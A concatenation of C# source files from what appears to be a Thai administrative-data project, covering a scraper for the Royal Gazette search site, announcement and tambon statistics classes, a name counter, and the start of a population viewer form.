EntityModification.Creation,new Dictionary<ProtectedAreaTypes,String>
{
{ProtectedAreaTypes.NonHuntingArea,"กำหนดเขตห้ามล่าสัตว์ป่า หรือ เป็นเขตห้ามล่าสัตว์ป่า"},
{ProtectedAreaTypes.WildlifeSanctuary,"เป็นเขตรักษาพันธุ์สัตว์ป่า"},
{ProtectedAreaTypes.NationalPark,"เป็นอุทยานแห่งชาติ หรือ เพิกถอนอุทยานแห่งชาติ"},
{ProtectedAreaTypes.HistoricalSite,"กำหนดเขตที่ดินโบราณสถาน"},
{ProtectedAreaTypes.NationalForest,"เป็นป่าสงวนแห่งชาติ หรือ กำหนดพื้นที่ป่าสงวนแห่งชาติ"},
{ProtectedAreaTypes.BotanicalGarden,"เป็นสวนพฤกษศาสตร์" },
{ProtectedAreaTypes.Arboretum,"เป็นสวนรุกขชาติ" },
{ProtectedAreaTypes.Wat,"การตั้งวัดในพระพุทธศาสนา" },
{ProtectedAreaTypes.ForestPark,"เป็นวนอุทยาน" }
}
},
{
EntityModification.Abolishment,new Dictionary<ProtectedAreaTypes,String>
{
{ProtectedAreaTypes.NationalPark,"เพิกถอนอุทยานแห่งชาติ"}, // actually it's normally an area change
{ProtectedAreaTypes.WildlifeSanctuary,"เพิกถอนเขตรักษาพันธุ์สัตว์ป่า"} // actually it's normally an area change
}
},
{
EntityModification.AreaChange,new Dictionary<ProtectedAreaTypes,String>
{
{ProtectedAreaTypes.NationalPark,"เปลี่ยนแปลงเขตอุทยานแห่งชาติ"},
{ProtectedAreaTypes.WildlifeSanctuary,"เปลี่ยนแปลงเขตรักษาพันธุ์สัตว์ป่า"},
{ProtectedAreaTypes.HistoricalSite,"แก้ไขเขตที่ดินโบราณสถาน"}
}
}
};
#endregion consts
#region constructor
public RoyalGazetteOnlineSearch()
{
}
#endregion constructor
#region methods
private void PerformRequest()
{
InitConnection();
StringBuilder requestString = new StringBuilder();
//foreach ( String s in new List<String> { "ก", "ง", "ข", "ค", "all" } )
//{
// requestString.Append("chkType=" + MyUrlEncode(s) + "&");
//}
requestString.Append("hidFieldSort=" + MyUrlEncode("BOOKNO,TOPICTYPE_CODE,SECTION_NO,SECTION_SUBSECTION,PAGENO") + "&");
requestString.Append("searchOption=adv&");
requestString.Append("hidFieldSortText=%E0%C5%E8%C1%2C%BB%C3%D0%E0%C0%B7%E0%C3%D7%E8%CD%A7%2C%B5%CD%B9%2C%B5%CD%B9%BE%D4%E0%C8%C9%2C%CB%B9%E9%D2&");
requestString.Append("hidFieldList=" + MyUrlEncode("txtTitle/txtBookNo/txtSection/txtFromDate/txtToDate/selDocGroup1") + "&");
requestString.Append("hidNowItem=txtTitle&");
requestString.Append("txtTitle=" + MyUrlEncode(_searchKey) + "&");
if (_volume <= 0)
{
requestString.Append("txtBookNo=&");
}
else
{
//lRequestString.Append("txtBookNo=" + MyURLEncode(Helper.UseThaiNumerals(mVolume.ToString())) + "&");
requestString.Append("txtBookNo=" + _volume.ToString() + "&");
}
requestString.Append("txtSection=&");
requestString.Append("chkSpecial=special&");
requestString.Append("txtFromDate=&");
requestString.Append("selFromDay=&");
requestString.Append("selFromMonth=&");
requestString.Append("selFromYear=&");
requestString.Append("txtToDate=&");
requestString.Append("selToDay=&");
requestString.Append("selToMonth=&");
requestString.Append("selToYear=&");
requestString.Append("selDocGroup1=&");
requestString.Append("txtDetail=&");
//hidFieldSort: BOOKNO%2CTOPICTYPE_CODE%2CSECTION_NO%2CSECTION_SUBSECTION%2CPAGENO
//searchOption: adv
//hidFieldSortText: %E0%C5%E8%C1%2C%BB%C3%D0%E0%C0%B7%E0%C3%D7%E8%CD%A7%2C%B5%CD%B9%2C%B5%CD%B9%BE%D4%E0%C8%C9%2C%CB%B9%E9%D2
//hidFieldList: txtTitle%2FtxtBookNo%2FtxtSection%2FtxtFromDate%2FtxtToDate%2FselDocGroup1
//hidNowItem: txtTitle
//txtTitle: p
//txtBookNo:
//txtSection:
//chkSpecial: special
//txtFromDate:
//selFromDay:
//selFromMonth:
//selFromYear:
//txtToDate:
//selToDay:
//selToMonth:
//selToYear:
//selDocGroup1:
//txtDetail:
_dataUrl = GetDataUrl(0, requestString.ToString());
}
private String GetDataUrl(Int32 page, String requestString)
{
WebClient client = new WebClient();
String searchUrl = String.Empty;
if (page == 0)
{
searchUrl = _searchPostUrl;
}
else
{
searchUrl = _searchPageUrl;
client.Headers.Add("Referer", "http://www.ratchakitcha.soc.go.th/RKJ/announce/search_result.jsp");
}
if (!String.IsNullOrEmpty(_cookie))
{
client.Headers.Add("Cookie", _cookie);
}
client.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36");
client.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8");
client.Headers.Add("Accept-Language", "en-us,en;q=0.5");
client.Headers.Add("Host", "www.ratchakitcha.soc.go.th");
client.Headers.Add("Origin", "http://www.ratchakitcha.soc.go.th/");
client.Headers.Add("Upgrade-Insecure-Requests", "1");
//client.Headers.Add("Accept-Encoding", "gzip,deflate");
//client.Headers.Add("Accept-Charset", "UTF-8,*");
client.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded";
String response = client.UploadString(searchUrl, requestString);
// Byte[] lResponseData = client.DownloadData(searchUrl + "?" + requestString);
String newCookie = client.ResponseHeaders.Get("Set-Cookie");
AddCookies(newCookie);
// String response = Encoding.ASCII.GetString(lResponseData);
Int32 position = response.LastIndexOf(_responseDataUrl);
String result = String.Empty;
if (position >= 0)
{
String dataUrl = response.Substring(position, response.Length - position);
dataUrl = dataUrl.Substring(_responseDataUrl.Length, dataUrl.Length - _responseDataUrl.Length);
if (dataUrl.Contains("\";"))
{
result = _baseUrl + dataUrl.Substring(0, dataUrl.LastIndexOf("\";"));
}
else
{
result = _baseUrl + dataUrl.Substring(0, dataUrl.LastIndexOf("\"+")) + TambonHelper.GetDateJavaScript(DateTime.Now).ToString() + "#";
}
}
return result;
}
private void InitConnection()
{
WebClient client = new WebClient();
client.Encoding = Encoding.UTF8;
if (!String.IsNullOrEmpty(_cookie))
{
client.Headers.Add("Cookie", _cookie);
}
client.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36");
client.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8");
client.Headers.Add("Accept-Language", "en-US;q=0.8,en;q=0.7");
client.Headers.Add("Host", "www.ratchakitcha.soc.go.th");
client.Headers.Add("Upgrade-Insecure-Requests", "1");
client.OpenRead(_searchFormUrl);
String newCookie = client.ResponseHeaders.Get("Set-Cookie");
AddCookies(newCookie);
}
private void AddCookies(String newCookie)
{
if (!String.IsNullOrWhiteSpace(newCookie))
{
foreach (var cookie in newCookie.Split(','))
{
var cookieToAdd = cookie.Split(';').First();
if (_cookie != String.Empty)
{
_cookie = _cookie + "; ";
}
_cookie = _cookie + cookieToAdd;
}
}
}
private Stream DoDataDownload(Int32 page)
{
WebClient client = new WebClient();
client.Encoding = Encoding.UTF8;
if (page == 0)
{
client.Headers.Add("Referer", _searchPostUrl);
}
else
{
client.Headers.Add("Referer", _searchPageUrl);
}
if (!String.IsNullOrEmpty(_cookie))
{
client.Headers.Add("Cookie", _cookie);
}
client.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36");
client.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8");
client.Headers.Add("Accept-Language", "en-US;q=0.8,en;q=0.7");
client.Headers.Add("Host", "www.ratchakitcha.soc.go.th");
client.Headers.Add("Upgrade-Insecure-Requests", "1");
// client.Headers.Add("Accept-Encoding", "gzip,deflate");
client.Headers.Add("Accept-Charset", "UTF-8,*");
System.IO.Stream receiveStream = client.OpenRead(_dataUrl);
MemoryStream memory = new MemoryStream();
TambonHelper.StreamCopy(receiveStream, memory);
memory.Seek(0, 0);
return memory;
}
private void PerformRequestPage(Int32 page)
{
StringBuilder requestString = new StringBuilder();
requestString.Append("txtNowpage=" + page.ToString());
InitConnection();
_dataUrl = GetDataUrl(page, requestString.ToString());
}
private string MyUrlEncode(String value)
{
var byteArray = TambonHelper.ThaiEncoding.GetBytes(value);
String result = HttpUtility.UrlEncode(byteArray, 0, byteArray.Length);
Regex reg = new Regex(@"%[a-f0-9]{2}");
String resultUpper = reg.Replace(result, m => m.Value.ToUpperInvariant());
return resultUpper;
}
private const String EntryStart = "<td width=\"50\" align=\"center\" nowrap class=\"row4\">";
private const String PageStart = "onkeypress=\"EnterPage()\"> จากทั้งหมด";
private RoyalGazetteList DoParseStream(Stream data)
{
var reader = new System.IO.StreamReader(data, TambonHelper.ThaiEncoding);
//var fileStream = new FileStream("c:\\temp\\out.htm", FileMode.OpenOrCreate);
//TambonHelper.StreamCopy(data, fileStream);
//fileStream.Close();
RoyalGazetteList result = new RoyalGazetteList();
result.AddRange(DoParse(reader));
return result;
}
private RoyalGazetteList DoParse(TextReader reader)
{
RoyalGazetteList result = new RoyalGazetteList();
String currentLine = String.Empty;
Int32 dataState = -1;
Int32 currentLineIndex = 0;
StringBuilder entryData = new StringBuilder();
try
{
while ((currentLine = reader.ReadLine()) != null)
{
currentLineIndex++;
currentLine = currentLine.Trim();
if (!String.IsNullOrWhiteSpace(currentLine))
{
if (currentLine.Contains(PageStart))
{
String temp = currentLine.Substring(currentLine.LastIndexOf(PageStart) + PageStart.Length + 1, 6);
temp = temp.Substring(0, temp.IndexOf(' ')).Trim();
_numberOfPages = Convert.ToInt32(temp);
if (_numberOfPages > 100)
{
_numberOfPages = 1; // something terrible went wrong with the search
}
}
else if (currentLine.StartsWith(EntryStart))
{
if (entryData.Length > 0)
{
var current = ParseSingeItem(entryData.ToString());
if (current != null)
{
result.Add(current);
}
else
{
dataState++;
// failed to parse!
}
entryData.Remove(0, entryData.Length);
}
dataState++;
}
else if (dataState >= 0)
{
entryData.Append(currentLine.Trim() + " ");
}
}
}
if (entryData.Length > 0)
{
var current = ParseSingeItem(entryData.ToString());
if (current != null)
{
result.Add(current);
}
}
}
catch (IOException)
{
}
return result;
}
private const string EntryVolumeorPage = "<td width=\"50\" align=\"center\" nowrap class=\"row2\">";
private const string EntryIssue = "<td width=\"100\" align=\"center\" nowrap class=\"row3\">";
private const string EntryDate = "<td width=\"150\" align=\"center\" nowrap class=\"row3\">";
private const string EntryURL = "<a href=\"/DATA/PDF/";
// private const string EntryURLend = "\" target=\"_blank\" class=\"topictitle\">";
private const string EntryURLend = "\" target=\"_blank\" class=\"topictitle\">";
private const string ColumnEnd = "</td>";
private const string EntryTitle = "menubar=no,location=no,scrollbars=auto,resizable');\"-->";
private const string EntryTitleEnd = "</a></td>";
private RoyalGazette ParseSingeItem(String value)
{
value = value.Replace("\t", "");
value.Replace(" ", " ");
RoyalGazette retval = null;
Int32 position = value.IndexOf(EntryURL);
if (position >= 0)
{
retval = new RoyalGazette();
position = position + EntryURL.Length;
Int32 position2 = value.IndexOf(EntryURLend);
retval.URI = value.Substring(position, position2 - position);
value = value.Substring(position2, value.Length - position2);
position = value.IndexOf(EntryTitle) + EntryTitle.Length;
position2 = value.IndexOf(EntryTitleEnd);
retval.Title = value.Substring(position, position2 - position).Trim();
value = value.Substring(position2, value.Length - position2);
position = value.IndexOf(EntryVolumeorPage) + EntryVolumeorPage.Length;
position2 = value.IndexOf(ColumnEnd, position);
String volume = value.Substring(position, position2 - position);
retval.Volume = Convert.ToInt32(TambonHelper.ReplaceThaiNumerals(volume));
value = value.Substring(position2, value.Length - position2);
position = value.IndexOf(EntryIssue) + EntryIssue.Length;
position2 = value.IndexOf(ColumnEnd, position);
String Issue = TambonHelper.ReplaceThaiNumerals(value.Substring(position, position2 - position).Trim());
value = value.Substring(position2, value.Length - position2);
retval.Issue = new RoyalGazetteIssue(Issue);
position = value.IndexOf(EntryDate) + EntryDate.Length;
position2 = value.IndexOf(ColumnEnd, position);
String Date = value.Substring(position, position2 - position);
retval.Publication = TambonHelper.ParseThaiDate(Date);
value = value.Substring(position2, value.Length - position2);
position = value.IndexOf(EntryVolumeorPage) + EntryVolumeorPage.Length;
position2 = value.IndexOf(ColumnEnd, position);
String page = value.Substring(position, position2 - position);
if (String.IsNullOrEmpty(page))
retval.PageInfo.Page = 1;
else
retval.PageInfo.Page = Convert.ToInt32(TambonHelper.ReplaceThaiNumerals(page));
if (retval.Title.Contains('[') && retval.Title.EndsWith("]"))
{
var beginSubTitle = retval.Title.LastIndexOf('[');
retval.SubTitle = retval.Title.Substring(beginSubTitle + 1, retval.Title.Length - beginSubTitle - 2).Trim();
retval.Title = retval.Title.Substring(0, beginSubTitle - 1).Trim();
}
}
return retval;
}
public RoyalGazetteList DoGetList(String searchKey, Int32 volume)
{
_searchKey = searchKey;
_volume = Math.Max(0, volume);
// _cookie = String.Empty;
_cookie = _defaultCookie;
_dataUrl = String.Empty;
_numberOfPages = 0;
RoyalGazetteList result = null;
try
{
PerformRequest();
result = new RoyalGazetteList();
if (_dataUrl != String.Empty)
{
Stream receivedData = DoDataDownload(0);
result = DoParseStream(receivedData);
for (Int32 page = 2; page <= _numberOfPages; page++)
{
PerformRequestPage(page);
Stream receivedDataPage = DoDataDownload(page);
result.AddRange(DoParseStream(receivedDataPage));
}
}
}
catch (WebException)
{
// result = null;
// TODO
}
return result;
}
protected RoyalGazetteList GetListDescription(String searchKey, Int32 volume, String description)
{
RoyalGazetteList result = DoGetList(searchKey, volume);
if (result != null)
{
foreach (RoyalGazette entry in result)
{
entry.Description = description;
}
}
return result;
}
public RoyalGazetteList SearchNews(DateTime date)
{
RoyalGazetteList result = new RoyalGazetteList();
result.AddRange(SearchNewsRange(date, date));
result.SortByPublicationDate();
return result;
}
public RoyalGazetteList SearchNewsRange(DateTime beginDate, DateTime endDate)
{
RoyalGazetteList result = new RoyalGazetteList();
var protecteAreaTypes = new List<ProtectedAreaTypes>();
foreach (ProtectedAreaTypes protectedArea in Enum.GetValues(typeof(ProtectedAreaTypes)))
{
protecteAreaTypes.Add(protectedArea);
}
var protectedAreasList = SearchNewsProtectedAreas(beginDate, endDate, protecteAreaTypes);
result.AddRange(protectedAreasList);
var entityTypes = new List<EntityType>();
foreach (EntityType entityType in Enum.GetValues(typeof(EntityType)))
{
if (entityType != EntityType.Sukhaphiban)
{
entityTypes.Add(entityType);
}
}
var entityModifications = new List<EntityModification>();
foreach (EntityModification entityModification in Enum.GetValues(typeof(EntityModification)))
{
entityModifications.Add(entityModification);
}
var administrativeEntitiesList = SearchNewsRangeAdministrative(beginDate, endDate, entityTypes, entityModifications);
result.AddRange(administrativeEntitiesList);
result.SortByPublicationDate();
return result;
}
public RoyalGazetteList SearchNewsProtectedAreas(DateTime beginDate, DateTime endDate, IEnumerable<ProtectedAreaTypes> values)
{
RoyalGazetteList result = new RoyalGazetteList();
Int32 volumeBegin = beginDate.Year - 2007 + 124;
Int32 volumeEnd = endDate.Year - 2007 + 124;
for (Int32 volume = volumeBegin; volume <= volumeEnd; volume++)
{
foreach (KeyValuePair<EntityModification, Dictionary<ProtectedAreaTypes, String>> outerKeyValuePair in SearchKeysProtectedAreas)
{
foreach (KeyValuePair<ProtectedAreaTypes, String> keyValuePair in outerKeyValuePair.Value)
{
if (values.Contains(keyValuePair.Key))
{
var list = GetListDescription(keyValuePair.Value, volume, ModificationText(outerKeyValuePair.Key, keyValuePair.Key));
if (list != null)
{
result.AddRange(list);
}
}
}
}
}
result.SortByPublicationDate();
return result;
}
public RoyalGazetteList SearchNewsRangeAdministrative(DateTime beginDate, DateTime endDate, IEnumerable<EntityType> types, IEnumerable<EntityModification> modifications)
{
RoyalGazetteList result = new RoyalGazetteList();
Int32 volumeBegin = beginDate.Year - 2007 + 124;
Int32 volumeEnd = endDate.Year - 2007 + 124;
for (Int32 volume = volumeBegin; volume <= volumeEnd; volume++)
{
foreach (KeyValuePair<EntityModification, Dictionary<EntityType, String>> outerKeyValuePair in SearchKeys)
{
if (modifications.Contains(outerKeyValuePair.Key))
{
foreach (KeyValuePair<EntityType, String> keyValuePair in outerKeyValuePair.Value)
{
if (types.Contains(keyValuePair.Key))
{
var list = GetListDescription(keyValuePair.Value, volume, ModificationText(outerKeyValuePair.Key, keyValuePair.Key));
if (list != null)
{
result.AddRange(list);
}
}
}
}
}
}
return result;
}
public RoyalGazetteList SearchString(DateTime beginDate, DateTime endDate, String searchKey)
{
RoyalGazetteList result = new RoyalGazetteList();
Int32 volumeBegin = beginDate.Year - 2007 + 124;
Int32 volumeEnd = endDate.Year - 2007 + 124;
for (Int32 volume = volumeBegin; volume <= volumeEnd; volume++)
{
var list = GetListDescription(searchKey, volume, "");
if (list != null)
{
result.AddRange(list);
}
}
result.SortByPublicationDate();
return result;
}
private String ModificationText(EntityModification modification, EntityType entityType)
{
String result = String.Format(EntityModificationText[modification], entityType);
return result;
}
private String ModificationText(EntityModification modification, ProtectedAreaTypes protectedAreaType)
{
String result = String.Format(EntityModificationText[modification], protectedAreaType);
return result;
}
public void SearchNewsNow()
{
RoyalGazetteList gazetteList = SearchNews(DateTime.Now);
if (DateTime.Now.Month == 1)
{
// Check news from last year as well, in case something was added late
gazetteList.AddRange(SearchNews(DateTime.Now.AddYears(-1)));
}
gazetteList.SortByPublicationDate();
OnProcessingFinished(new RoyalGazetteEventArgs(gazetteList));
}
private void OnProcessingFinished(RoyalGazetteEventArgs e)
{
if (ProcessingFinished != null)
{
ProcessingFinished(this, e);
}
}
#endregion methods
}
}<file_sep>/TambonMain/StatisticsAnnouncementDates.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public class StatisticsAnnouncementDates : AnnouncementStatistics
{
#region properties
private FrequencyCounter _daysBetweenSignAndPublication = new FrequencyCounter();
private FrequencyCounter _daysBetweenPublicationAndEffective = new FrequencyCounter();
public IEnumerable<GazetteEntry> StrangeAnnouncements
{
get
{
return _strangeAnnouncements;
}
}
private List<GazetteEntry> _strangeAnnouncements = new List<GazetteEntry>();
#endregion properties
#region constructor
public StatisticsAnnouncementDates()
{
StartYear = 1883;
EndYear = DateTime.Now.Year;
}
public StatisticsAnnouncementDates(Int32 startYear, Int32 endYear)
{
StartYear = startYear;
EndYear = endYear;
}
#endregion constructor
#region methods
protected override void Clear()
{
base.Clear();
_daysBetweenPublicationAndEffective = new FrequencyCounter();
_daysBetweenSignAndPublication = new FrequencyCounter();
_strangeAnnouncements.Clear();
}
protected override void ProcessAnnouncement(GazetteEntry entry)
{
Int32 warningOffsetDays = 345;
Boolean processed = false;
if ( entry.publication.Year > 1 )
{
if ( entry.effective.Year > 1 )
{
processed = true;
TimeSpan timeBetweenPublicationAndEffective = entry.publication.Subtract(entry.effective);
_daysBetweenPublicationAndEffective.IncrementForCount(timeBetweenPublicationAndEffective.Days, 0);
if ( Math.Abs(timeBetweenPublicationAndEffective.Days) > warningOffsetDays )
{
_strangeAnnouncements.Add(entry);
}
}
if ( entry.sign.Year > 1 )
{
processed = true;
TimeSpan timeBetweenSignAndPublication = entry.publication.Subtract(entry.sign);
_daysBetweenSignAndPublication.IncrementForCount(timeBetweenSignAndPublication.Days, 0);
if ( (timeBetweenSignAndPublication.Days < 0) | (timeBetweenSignAndPublication.Days > warningOffsetDays) )
{
if ( !StrangeAnnouncements.Contains(entry) )
{
_strangeAnnouncements.Add(entry);
}
}
}
if ( processed )
{
NumberOfAnnouncements++;
}
}
}
public override String Information()
{
StringBuilder builder = new StringBuilder();
builder.AppendLine(String.Format("{0} Announcements", NumberOfAnnouncements));
builder.AppendLine();
builder.AppendLine("Days between signature and publication");
builder.AppendLine(String.Format(" Maximum: {0}", _daysBetweenSignAndPublication.MaxValue));
builder.AppendLine(String.Format(" Minimum: {0}", _daysBetweenSignAndPublication.MinValue));
builder.AppendLine(String.Format(" Median: {0}", _daysBetweenSignAndPublication.MedianValue));
builder.AppendLine(String.Format(" Most common: {0}", _daysBetweenSignAndPublication.MostCommonValue));
builder.AppendLine();
builder.AppendLine("Days between publication and becoming effective");
builder.AppendLine(String.Format(" Maximum: {0}", _daysBetweenPublicationAndEffective.MaxValue));
builder.AppendLine(String.Format(" Minimum: {0}", _daysBetweenPublicationAndEffective.MinValue));
builder.AppendLine(String.Format(" Median: {0}", _daysBetweenPublicationAndEffective.MedianValue));
builder.AppendLine(String.Format(" Most common: {0}", _daysBetweenPublicationAndEffective.MostCommonValue));
builder.AppendLine();
String retval = builder.ToString();
return retval;
}
#endregion methods
}
}<file_sep>/TambonMain/EntityCounter.cs
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public class EntityCounter
{
#region properties
private Dictionary<String, Int32> _namesCount = new Dictionary<String, Int32>();
private List<EntityType> _entityTypes;
public UInt32 BaseGeocode
{
get;
set;
}
private Int32 _numberOfEntities;
public Int32 NumberOfEntities
{
get
{
return _numberOfEntities;
}
}
#endregion properties
#region constructor
public EntityCounter(List<EntityType> entityTypes)
{
_entityTypes = entityTypes;
}
#endregion constructor
#region methods
public String CommonNames(Int32 cutOff)
{
StringBuilder builder = new StringBuilder();
builder.AppendLine("Total number: " + NumberOfEntities.ToString());
List<KeyValuePair<String, Int32>> sorted = new List<KeyValuePair<String, Int32>>();
foreach ( var keyValuePair in _namesCount )
{
String name = keyValuePair.Key;
sorted.Add(keyValuePair);
}
sorted.Sort(delegate(KeyValuePair<String, Int32> x, KeyValuePair<String, Int32> y)
{
return y.Value.CompareTo(x.Value);
});
Int32 count = 0;
foreach ( var keyValuePair in sorted )
{
builder.AppendLine(keyValuePair.Key + " (" + keyValuePair.Value.ToString() + ") ");
count++;
if ( count > cutOff )
{
break;
}
}
String result = builder.ToString();
return result;
}
private List<Entity> LoadGeocodeLists()
{
var result = new List<Entity>();
foreach ( var entry in GlobalData.Provinces )
{
if ( GeocodeHelper.IsBaseGeocode(BaseGeocode, entry.geocode) )
{
var entities = GlobalData.GetGeocodeList(entry.geocode);
var allEntities = entities.FlatList();
var allFittingEntities = allEntities.Where(x => _entityTypes.Contains(x.type));
result.AddRange(allFittingEntities);
}
}
return result;
}
private List<String> NormalizeNameList(IEnumerable<Entity> entities)
{
var result = new List<String>();
foreach ( var entry in entities )
{
var name = entry.name;
if ( entry.type == EntityType.Muban )
{
if ( !String.IsNullOrEmpty(entry.name) )
{
name = name.StripBanOrChumchon();
}
}
if ( (!entry.IsObsolete) & (GeocodeHelper.IsBaseGeocode(BaseGeocode, entry.geocode)) )
{
result.Add(name);
}
}
return result;
}
private static Dictionary<String, Int32> DoCalculate(IEnumerable<String> entityNames)
{
var result = new Dictionary<String, Int32>();
var weightedList = entityNames.GroupBy(x => x)
.Select(g => new
{
Value = g.Key,
Count = g.Count()
})
.OrderByDescending(x => x.Count);
foreach ( var entry in weightedList )
{
result.Add(entry.Value, entry.Count);
}
return result;
}
public void Calculate()
{
var entities = LoadGeocodeLists();
Calculate(entities);
}
public void Calculate(IEnumerable<Entity> entities)
{
var processedEntities = NormalizeNameList(entities);
_numberOfEntities = processedEntities.Count;
_namesCount = DoCalculate(processedEntities);
}
#endregion methods
}
}<file_sep>/TambonMain/CouncilList.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
partial class CouncilList
{
private DateTime GetDateFromItem(Object x)
{
var councilTerm = x as CouncilTermOrVacancy;
if ( councilTerm != null )
{
return councilTerm.begin;
}
var electionDate = x as CanceledElection;
if ( electionDate != null )
{
return electionDate.date;
}
return new DateTime(1900, 1, 1);
}
/// <summary>
/// Sorts the items in the list by date.
/// </summary>
public void SortByDate()
{
Items.Sort((x, y) => GetDateFromItem(x).CompareTo(GetDateFromItem(y)));
}
/// <summary>
/// Gets an ordered enumeration of council terms.
/// </summary>
/// <value>An enumeration of council terms.</value>
public IEnumerable<CouncilTerm> CouncilTerms
{
get
{
var result = new List<CouncilTerm>();
foreach ( var item in Items )
{
if (item is CouncilTerm term)
{
result.Add(term);
}
}
return result.OrderByDescending(x => x.begin);
}
}
/// <summary>
/// Gets an ordered enumeration of council terms and vacancies.
/// </summary>
/// <value>An enumeration of council terms and vacancies.</value>
public IEnumerable<CouncilTermOrVacancy> CouncilTermsOrVacancies
{
get
{
var result = new List<CouncilTermOrVacancy>();
foreach (var item in Items)
{
if (item is CouncilTermOrVacancy term)
{
result.Add(term);
}
}
return result.OrderByDescending(x => x.begin);
}
}
}
}<file_sep>/AHTambon/CreationStatisticsTambon.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
public class CreationStatisticsTambon : CreationStatisticsCentralGovernment
{
#region properties
private Int32 mMubanNumberEqual;
private Int32 mMubanNumberChanged;
#endregion
#region constructor
public CreationStatisticsTambon()
{
StartYear = 1883;
EndYear = DateTime.Now.Year;
}
public CreationStatisticsTambon(Int32 iStartYear, Int32 iEndYear)
{
StartYear = iStartYear;
EndYear = iEndYear;
}
#endregion
#region methods
protected override String DisplayEntityName()
{
return "Tambon";
}
protected override Boolean EntityFitting(EntityType iEntityType)
{
Boolean result = (iEntityType == EntityType.Tambon);
return result;
}
protected override void Clear()
{
base.Clear();
mMubanNumberEqual = 0;
mMubanNumberChanged = 0;
}
protected override void ProcessContent(RoyalGazetteContent iContent)
{
base.ProcessContent(iContent);
RoyalGazetteContentCreate lCreate = (RoyalGazetteContentCreate)iContent;
List<Int32> lTargetMubanNumbers = new List<Int32>();
foreach (RoyalGazetteContent lSubEntry in lCreate.SubEntries)
{
if (lSubEntry is RoyalGazetteContentReassign)
{
RoyalGazetteContentReassign lReassign = (RoyalGazetteContentReassign)lSubEntry;
Int32 lTargetMubanCode = lSubEntry.Geocode % 100;
if (lTargetMubanCode == 0)
{ }
else if (lTargetMubanNumbers.Contains(lTargetMubanCode))
{
; // This should no happen, probably mistake in XML
}
else
{
lTargetMubanNumbers.Add(lTargetMubanCode);
}
Int32 lOldMubanCode = lReassign.OldGeocode % 100;
if ((lTargetMubanCode != 0) & (lOldMubanCode != 0))
{
if (lTargetMubanCode == lOldMubanCode)
{
mMubanNumberEqual++;
}
else
{
mMubanNumberChanged++;
}
}
}
}
}
protected void AppendMubanNumberChangeInfo(StringBuilder iBuilder)
{
Int32 mTotal = (mMubanNumberEqual+mMubanNumberChanged);
if (mTotal > 0)
{
Double mPercent = (100.0*mMubanNumberEqual) / mTotal;
iBuilder.AppendLine("Number of muban which kept number: " +
mMubanNumberEqual.ToString() +
" out of " +
mTotal.ToString() +
" (" +
mPercent.ToString("0#.##") +
"%)");
iBuilder.AppendLine();
}
}
public override String Information()
{
StringBuilder lBuilder = new StringBuilder();
AppendBasicInfo(lBuilder);
AppendChangwatInfo(lBuilder);
AppendSubEntitiesInfo(lBuilder, "Muban");
AppendMubanNumberChangeInfo(lBuilder);
AppendParentNumberInfo(lBuilder);
AppendDayOfYearInfo(lBuilder);
String retval = lBuilder.ToString();
return retval;
}
#endregion
}
}<file_sep>/TambonMain/RegisterData.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace De.AHoerstemeier.Tambon
{
partial class RegisterData
{
#region fixup serialization
public Boolean ShouldSerializeregister()
{
return !register.IsEmpty();
}
public Boolean ShouldSerializereference()
{
return reference.Any();
}
#endregion fixup serialization
}
}<file_sep>/PopulationByEntityTypeViewer.cs
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Globalization;
using System.IO;
using System.Linq;
using System.Text;
using System.Windows.Forms;
namespace De.AHoerstemeier.Tambon
{
public partial class PopulationByEntityTypeViewer : Form
{
// ToDo: Sort by Column
// Export as CSV
internal PopulationDataEntry Country
{
get
{
return _country;
}
set
{
_country = value;
BaseEntry = value;
UpdateProvinces();
UpdateList();
}
}
private PopulationDataEntry _country = null;
private PopulationDataEntry _baseEntry = null;
internal PopulationDataEntry BaseEntry
{
get
{
return _baseEntry;
}
set
{
_baseEntry = value;
UpdateList();
}
}
public PopulationByEntityTypeViewer()
{
InitializeComponent();
UpdateEntityTypeCheckboxes();
}
private void UpdateEntityTypeCheckboxes()
{
chkAmphoe.Enabled = rbxAmphoeKhet.Checked;
chkKhet.Enabled = rbxAmphoeKhet.Checked;
chkTambon.Enabled = rbxTambonKhwaeng.Checked;
chkKhwaeng.Enabled = rbxTambonKhwaeng.Checked;
chkThesabanNakhon.Enabled = rbxThesaban.Checked;
chkThesabanMueang.Enabled = rbxThesaban.Checked;
chkThesabanTambon.Enabled = rbxThesaban.Checked;
}
private void UpdateProvinces()
{
cbxChangwat.Items.Clear();
cbxChangwat.Items.Add(Country);
foreach ( var changwat in Country.SubEntities )
{
cbxChangwat.Items.Add(changwat);
}
cbxChangwat.SelectedItem = Country;
}
private void UpdateList()
{
IEnumerable<PopulationDataEntry> list = CalculateList();
PopulationDataEntry compare = FindCompare();
List<Tuple<Int32, Int32, Double>> populationChanges = null;
if ( compare != null )
{
populationChanges = CalcPopulationChanges(list, compare).ToList();
}
FillListView(list, populationChanges);
FrequencyCounter counter = new FrequencyCounter();
foreach ( var entry in list )
{
counter.IncrementForCount(entry.Total, entry.Geocode);
}
StringBuilder builder = new StringBuilder();
builder.AppendLine("Total population: " + counter.SumValue.ToString("##,###,##0"));
builder.AppendLine("Number of entities: " + counter.NumberOfValues.ToString());
builder.AppendLine("Mean population: " + counter.MeanValue.ToString("##,###,##0.0"));
